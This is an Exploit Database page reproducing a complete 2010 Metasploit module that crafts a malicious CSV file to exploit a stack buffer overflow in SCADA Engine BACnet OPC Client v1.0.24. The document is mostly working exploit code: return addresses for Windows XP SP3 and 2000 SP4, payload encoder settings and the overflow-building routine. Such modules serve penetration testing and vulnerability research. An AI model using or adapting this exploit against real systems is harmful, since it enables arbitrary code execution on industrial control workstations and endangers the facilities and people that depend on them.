BACnet OPC Client – Local Buffer Overflow (Metasploit) (2)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16668/

• ##
  # $Id: bacnet_csv.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BACnet OPC Client Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in SCADA
  				Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
  				parses a specially crafted csv file, arbitrary code may be
  				executed.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'Jeremy Brown', 'MC' ],
  			'Version'=> '$Revision: 11039 $',
  			'References' =>
  				[
  					[ 'OSVDB', '68096'],
  					[ 'BID', '43289' ],
  					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'MinNops'=> 0,
  					'MaxNops'=> 0,
  					'Space'=> 698,
  					'BadChars' =>Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ECX',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],
  					[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Sep 16 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new( 'FILENAME',[ false, 'The file name.','msf.csv' ]),
  			], self.class)
  
  	end
  
  	def exploit
  
  		csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
  		csv << rand_text_alpha_upper(185)
  		csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
  		csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
  		csv << "\\scada,0,0,\n"
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(csv)
  
  	end
  
  end